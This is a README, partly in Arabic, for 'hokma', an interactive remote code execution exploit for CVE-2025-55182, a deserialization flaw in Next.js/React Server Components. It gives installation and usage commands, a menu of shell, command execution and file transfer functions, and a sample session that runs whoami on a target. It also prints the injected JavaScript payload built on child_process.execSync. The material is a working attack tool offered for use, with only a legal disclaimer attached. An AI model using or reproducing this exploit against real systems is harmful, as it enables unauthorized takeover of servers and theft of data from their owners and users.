
استغلال تفاعلي لتنفيذ رمز عن بُعد لـ CVE-2025-55182 يستهدف ثغرة إلغاء تسلسل مكونات خادم Next.js/React. يتميز بالكشف التلقائي، وتنفيذ الأوامر، ونقل الملفات، وقشرة مدمجة مع سجل وإكمال تلقائي.
الأساس المستخدم من: https://github.com/Emiyelbarto/CVE-2025-55182-PoC شكرًا جزيلًا على المساهمة الرائعة.
CVE-2025-55182 هي ثغرة إلغاء تسلسل في Next.js/React Server Components تسمح للمهاجمين عن بُعد غير المصادَق عليهم بتنفيذ تعليمات برمجية عشوائية على الخوادم المتأثرة. تنبع الثغرة من المعالجة غير السليمة للبيانات المتسلسلة في React Server Actions.
requests# Clone the repository
git clone https://github.com/yourusername/hokma.git
cd hokma
# Install dependencies
pip install requests
# Make script executable (optional)
chmod +x hokma.py
# Start interactive shell
python hokma.py
# Check vulnerability only
python hokma.py -u http://target.com --check
# Execute single command
python hokma.py -u http://target.com -c "whoami"
help Show this help message
set URL <url> Set target URL
set ID <action_id> Set action ID (default: user-profile-action)
show Show current options
check [url] Check if target is vulnerable
exploit <command> Execute command on target
shell Start interactive command shell
test Run test commands (id, whoami, etc.)
upload <loc> <rem> Upload local file to target
download <rem> <loc> Download remote file (base64 encoded)
clear Clear screen
exit/quit Exit the shell
$ python hokma.py
____ _ ____ _ _ _
| _ \ ___ __ _ ___| |_ / ___|| |__ ___| | |
| |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
| _ < __/ (_| | (__| |_ ___) | | | | __/ | |
|_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands
hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com
hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!
hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200
--- COMMAND OUTPUT ---
www-data
----------------------
hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd
--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit
| الخيار | الافتراضي | الوصف |
|---|---|---|
| رابط الهدف | لا شيء | رابط التطبيق المعرّض للثغرة |
| معرّف الإجراء | user-profile-action | معرّف إجراء الخادم المستهدف |
| المهلة الزمنية | 3 ثوانٍ | المهلة الزمنية للطلبات |
ترسل الأداة طلب multipart مصممًا خصيصًا يؤدي إلى انهيار الأنظمة المعرّضة للثغرة:
["$1:a:a"] مع كائن فارغ {}child_process.execSync() لتشغيل أوامر النظامconst cmd = "COMMAND";
return import('child_process').then(cp => {
try {
const output = cp.execSync(cmd).toString();
return output;
} catch(e) {
return "Command Execution Failed: " + e.message;
}
});
إشعار قانوني مهم
هذه الأداة مخصصة لـ:
لا تستخدم هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وغير أخلاقي.
المطورون غير مسؤولين عن أي إساءة استخدام لهذه الأداة. يجب على المستخدمين الامتثال لجميع القوانين المعمول بها والحصول على التصريح المناسب قبل الاختبار.
متطلبات الهدف:
قيود الاكتشاف:
قيود الاستغلال: